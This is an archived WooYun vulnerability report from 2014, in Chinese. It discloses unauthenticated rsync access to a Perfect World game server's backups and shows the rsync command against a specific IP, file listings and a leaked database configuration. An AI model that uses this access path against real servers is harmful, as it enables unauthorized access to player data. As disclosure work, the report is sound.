当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089158

漏洞标题：完美时空某rsync未授权访问泄露大量游戏数据备份

相关厂商：完美时空

漏洞作者： 杀器王子

提交时间：2014-12-29 12:54

修复时间：2015-02-12 12:56

公开时间：2015-02-12 12:56

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-29： 细节已通知厂商并且等待厂商处理中
2014-12-29： 厂商已经确认，细节仅向厂商公开
2015-01-08： 细节向核心白帽子及相关领域专家公开
2015-01-18： 细节向普通白帽子公开
2015-01-28： 细节向实习白帽子公开
2015-02-12： 细节向公众公开

简要描述：

完美时空某rsync未授权访问泄露大量游戏数据备份

详细说明：

rsync 58.215.52.26::backup/
drwxr-xr-x        4096 2014/10/13 15:24:18 .
-rw-r--r--    12270178 2014/09/30 10:13:21 862-598.log
-rw-r--r--       85325 2014/09/30 09:59:29 abstractroles.598
-rw-r--r--      147653 2014/09/30 09:59:18 abstractroles.862
drwxr-xr-x          32 2014/09/30 08:34:28 centraldb
-rw-r--r--  1382727739 2014/09/30 09:54:02 centraldb.tar.gz
-rw-r--r--  1382724687 2014/09/30 10:19:08 centraldb_21.243.tar.gz
-rw-r--r--  1445107860 2014/09/30 08:27:25 db_21.1.tar.gz
-rw-r--r--   849604379 2014/09/30 08:26:42 db_22.133.tar.gz
drwxr-xr-x          32 2014/09/30 08:23:32 dbhomewdb
drwxr-xr-x          32 2014/09/30 08:23:29 dbhomewdb.862
-rwxr-xr-x     1604840 2014/10/13 15:24:19 dbview
-rwxr-xr-x    62084020 2014/09/30 09:54:22 gamedbd
-rw-r--r--        2477 2014/09/30 09:54:11 gamesys.conf
-rwxr-xr-x      123128 2014/09/30 09:19:29 itemid.txt
-rwxr-xr-x        2658 2014/09/30 09:19:32 m_a.pl
-rw-r--r--        3342 2014/09/30 08:24:55 md5_21.133
-rw-r--r--        3342 2014/09/30 10:28:16 md5_centraldb
-rwxr-xr-x         537 2014/09/30 09:58:59 merge.sh
-rw-------         113 2014/09/30 09:59:02 nohup.out
-rwxr-xr-x         540 2014/09/30 09:18:15 start_rsync.sh
drwxr-xr-x          66 2014/10/13 15:17:19 youshuang
drwxr-xr-x          62 2014/10/13 15:21:51 ys


漏洞证明：

查看gamesys.conf

[storage]
homedir			=	./dbhome
datadir			=	dbdata
logdir			=	dblogs
backupdir		=	./backup
cachesize		=	16777216
errpfx			=	Storage
checkpoint_interval	=	60
backup_lockfile	=	/tmp/.lockgamedbd
quit_lockfile	=	/tmp/.quitgamedbd
compress		=	1
[storagewdb]
homedir			=	./dbhomewdb
datadir			=	dbdata
logdir			=	dblogs
backupdir		=	./backup
checkpoint_interval	=	60
times_incbackup		=	1
tables			=	auction,clsconfig,faction,factionname,inventory,messages,storehouse,top,user,base,config,friends,mailbox,rolename,status,task,waitdel,order,shoplog,gtask,family,familyname,citystore,syslog,sect,commondata,snsplayerinfo,snsmessage,clrrole,base2,referral,hometown,achievement,uniqueauction,circle,consign,finished_consign,gtactivate,friendcallback,award,dropcounter,rolenamehis,topflower,kingdom,operationcmd,weborder,factionbase,crssvrteams,crssvrteamsname,challengefinal,challengeaward,uniqueuser,uniquerole,annualpkpromote
cache_high_default		=	8000
cache_low_default		=	7500
base_cache_high			=	50000
base_cache_low			=	45000
status_cache_high		=	50000
status_cache_low		=	45000
inventory_cache_high	=	50000
inventory_cache_low		=	45000
task_cache_high			=	50000
task_cache_low			=	45000
backup_lockfile			=	/tmp/.lockgamedbd
quit_lockfile			=	/tmp/.quitgamedbd
[gamedbd]
noimportclsconfig	=	0
;rolenameprefix		=	A
rolenamesuffix		=	B
;factionnameprefix	=	A
factionnamesuffix	=	B
;familynameprefix	=	A
familynamesuffix	=	B
allow_modify_inventory=0


这里应该是游戏各个数据字段的备份

rsync 58.215.52.26::backup/dbhomewdb/dbdata/
drwxr-xr-x        4096 2014/09/30 10:13:19 .
-rw-------  1776893952 2014/09/30 10:13:21 achievement
-rw-------       12288 2014/09/30 10:13:21 annualpkpromote
-rw-------        8192 2014/09/30 10:13:21 auction
-rw-------   134750208 2014/09/30 10:13:21 award
-rw-------   582098944 2014/09/30 10:13:21 base
-rw-------   214130688 2014/09/30 10:13:21 base2
-rw-------       12288 2014/09/30 10:13:21 challengeaward
-rw-------       12288 2014/09/30 10:13:21 challengefinal
-rw-------        8192 2014/09/30 10:13:21 circle
-rw-------        8192 2014/09/30 10:13:21 citystore
-rw-------        8192 2014/09/30 10:13:21 clrrole
-rw-------        8192 2014/09/30 10:13:21 clsconfig
-rw-------       12288 2014/09/30 10:13:21 commondata

修复方案：

加入授权

版权声明：转载请注明来源 杀器王子@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-12-29 18:14

厂商回复：

感谢洞主对完美世界的关注，我们将尽快修补漏洞。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-29 12:54 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    我信洞主

  2. 2014-12-29 17:23 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    我也信洞主

  3. 2014-12-29 18:58 | 飞段 ( 路人 | Rank:4 漏洞数:15 | 求收编，本人会注入，会上传，会Xss，会破...)

    我也信

  4. 2014-12-29 21:35 | bingfeng ( 路人 | Rank:10 漏洞数:3 | 万丈红尘三杯酒，千秋大业一壶茶。)

    我也信